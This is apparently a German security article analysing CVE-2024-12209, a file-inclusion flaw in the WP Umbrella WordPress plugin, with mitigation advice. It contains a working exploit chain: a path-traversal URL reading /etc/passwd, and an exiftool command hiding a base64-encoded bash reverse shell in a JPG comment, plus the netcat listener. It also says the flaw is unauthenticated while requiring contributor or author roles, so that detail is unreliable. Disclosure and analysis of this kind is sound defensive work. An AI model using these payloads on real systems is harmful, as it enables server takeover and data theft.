Zurück zur Startseite

LFI RCE in WP Umbrella CVE-2024-12209

LFI-Schwachstelle CVE-2024-12209 (CVSS 9.8) in WP Umbrella entdeckt, führt zu RCE. Zwei Exploit-Vektoren analysiert: direkte Path Traversal und PHP-Injection über EXIF in Mediadateien. Schutzempfehlungen: Update und WAF.

RCE über LFI in WP Umbrella: vollständige Analyse von CVE-2024-12209
Advertisement 728x90

# Kritische LFI-Schwachstelle in WP Umbrella ermöglicht RCE auf WordPress-Seiten

Eine kritische LFI-Schwachstelle mit CVSS 9.8 (CVE-2024-12209) wurde im WP Umbrella-Plugin entdeckt, das auf über 30.000 WordPress-Seiten verwendet wird. Sie betrifft den umbrella-restore-Endpunkt über den filename-Parameter und ermöglicht unauthentifizierten Nutzern die Remote-Code-Ausführung (RCE).

Das Plugin dient der zentralen Überwachung und Verwaltung mehrerer WordPress-Seiten und ist daher bei Agenturen und Freelancern beliebt. Die Schwachstelle wird durch dynamische Dateieinbindung ohne Pfadvalidierung ausgenutzt.

Einrichtung der Testumgebung

Um die Schwachstelle nachzuvollziehen, benötigen Sie einen lokalen LAMP/XAMPP-Stack mit PHP und MySQL. Installieren Sie WordPress:

Google AdInline article slot
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
sudo chown -R daemon:daemon /opt/lampp/htdocs

Führen Sie dann den Installer unter http://127.0.0.1/wordpress aus. Installieren Sie die anfällige Version des WP Umbrella-Plugins.

LFI-Mechanismus in umbrella-restore

Die Schwachstelle entsteht durch das Fehlen der Bereinigung des filename-Parameters in den PHP-Funktionen include/require. Ein Angreifer kann einen Pfad zu einer beliebigen Datei auf dem Server angeben.

Vektor 1: Direkte Auslesung von Systemdateien (Contributor-Rolle)

Für Rollen ohne Medien-Upload-Berechtigungen wird Path Traversal genutzt:

Google AdInline article slot
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd

Damit können die Inhalte von /etc/passwd ohne zusätzliche Berechtigungen ausgelesen werden.

Vektor 2: RCE über EXIF-Metadaten-Injection (Author-Rolle)

  • Erstellen Sie eine JPG-Datei mit einem PHP-Payload im EXIF-Kommentar:
exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg
  • Laden Sie die Datei über das Admin-Panel hoch: Medien → Neu hinzufügen.
  • Kopieren Sie die URL der hochgeladenen Datei, z. B. /wp-content/uploads/2024/12/maxresdefault.jpg.
  • Starten Sie einen Netcat-Listener:
nc -lvnp 4444
  • Nutzen Sie die LFI aus:
http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg

Der Payload wird ausgeführt und stellt eine Reverse-Shell auf Port 4444 her.

Schutzempfehlungen

  • Aktualisieren Sie das WP Umbrella-Plugin auf die gepatchte Version.
  • Führen Sie eine WAF mit Regeln gegen Path Traversal ein (ModSecurity OWASP CRS).
  • Deaktivieren Sie den Zugriff auf umbrella-restore für unauthentifizierte Nutzer.
  • Verwenden Sie open_basedir in der php.ini, um den Dateisystemzugriff einzuschränken.
  • Scannen Sie regelmäßig nach LFI mit Burp Suite oder Nuclei.

Wichtige Punkte

  • Die CVSS-9.8-Schwachstelle ermöglicht unauthentifizierte RCE auf über 30.000 Seiten.
  • Zwei Vektoren: direkte LFI und Injection über EXIF in hochgeladenen Mediadateien.
  • Die Ausnutzung erfordert nur Frontend-Zugriff, Contributor-Rolle oder höher.
  • Ein Patch ist zwingend erforderlich; ohne ihn droht Serverübernahme und Datenlecks.
  • Testen Sie in einer isolierten Umgebung, vermeiden Sie Produktionssysteme.

— Editorial Team

Google AdInline article slot
Advertisement 728x90

Weiterlesen